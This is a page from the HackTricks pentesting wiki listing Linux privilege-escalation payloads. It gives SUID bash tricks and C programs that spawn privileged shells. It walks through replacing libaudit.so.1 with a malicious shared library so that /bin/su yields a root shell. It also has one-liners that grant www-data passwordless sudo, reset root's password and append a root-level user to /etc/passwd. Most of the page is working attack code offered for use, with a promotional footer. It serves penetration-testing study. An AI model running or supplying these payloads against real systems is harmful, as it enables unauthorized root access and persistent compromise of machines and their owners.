5.7 KiB
Payloads to execute
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Bash
cp /bin/bash /tmp/b && chmod +s /tmp/b
/bin/b -p #Maintains root privileges from suid, working in debian & buntu
C
//gcc payload.c -o payload
int main(void){
setresuid(0, 0, 0); #Set as user suid user
system("/bin/sh");
return 0;
}
//gcc payload.c -o payload
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(){
setuid(getuid());
system("/bin/bash");
return 0;
}
// Privesc to user id: 1000
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
int main(void) {
char *const paramList[10] = {"/bin/bash", "-p", NULL};
const int id = 1000;
setresuid(id, id, id);
execve(paramList[0], paramList, NULL);
return 0;
}
Overwriting a file to escalate privileges
Common files
- Add user with password to /etc/passwd
- Change password inside /etc/shadow
- Add user to sudoers in /etc/sudoers
- Abuse docker through the docker socket, usually in /run/docker.sock or /var/run/docker.sock
Overwriting a library
Check a library used by some binary, in this case /bin/su
:
ldd /bin/su
linux-vdso.so.1 (0x00007ffef06e9000)
libpam.so.0 => /lib/x86_64-linux-gnu/libpam.so.0 (0x00007fe473676000)
libpam_misc.so.0 => /lib/x86_64-linux-gnu/libpam_misc.so.0 (0x00007fe473472000)
libaudit.so.1 => /lib/x86_64-linux-gnu/libaudit.so.1 (0x00007fe473249000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fe472e58000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fe472c54000)
libcap-ng.so.0 => /lib/x86_64-linux-gnu/libcap-ng.so.0 (0x00007fe472a4f000)
/lib64/ld-linux-x86-64.so.2 (0x00007fe473a93000)
In this case lets try to impersonate /lib/x86_64-linux-gnu/libaudit.so.1
.
So, check for functions of this library used by the su
binary:
objdump -T /bin/su | grep audit
0000000000000000 DF *UND* 0000000000000000 audit_open
0000000000000000 DF *UND* 0000000000000000 audit_log_user_message
0000000000000000 DF *UND* 0000000000000000 audit_log_acct_message
000000000020e968 g DO .bss 0000000000000004 Base audit_fd
The symbols audit_open
, audit_log_acct_message
, audit_log_acct_message
and audit_fd
are probably from the libaudit.so.1 library. As the libaudit.so.1 will be overwritten by the malicious shared library, these symbols should be present in the new shared library, otherwise the program will not be able to find the symbol and will exit.
#include<stdio.h>
#include<stdlib.h>
#include<unistd.h>
//gcc -shared -o /lib/x86_64-linux-gnu/libaudit.so.1 -fPIC inject.c
int audit_open;
int audit_log_acct_message;
int audit_log_user_message;
int audit_fd;
void inject()__attribute__((constructor));
void inject()
{
setuid(0);
setgid(0);
system("/bin/bash");
}
Now, just calling /bin/su
you will obtain a shell as root.
Scripts
Can you make root execute something?
www-data to sudoers
echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD:ALL" >> /etc/sudoers && chmod 440 /etc/sudoers' > /tmp/update
Change root password
echo "root:hacked" | chpasswd
Add new root user to /etc/passwd
echo hacker:$((mkpasswd -m SHA-512 myhackerpass || openssl passwd -1 -salt mysalt myhackerpass || echo '$1$mysalt$7DTZJIc9s6z60L6aj0Sui.') 2>/dev/null):0:0::/:/bin/bash >> /etc/passwd
Support HackTricks and get benefits!
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Do you work in a cybersecurity company? Do you want to see your company advertised in HackTricks? or do you want to have access to the latest version of the PEASS or download HackTricks in PDF? Check the SUBSCRIPTION PLANS!
-
Discover The PEASS Family, our collection of exclusive NFTs
-
Get the official PEASS & HackTricks swag
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Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦@carlospolopm.
-
Share your hacking tricks by submitting PRs to the hacktricks github repo.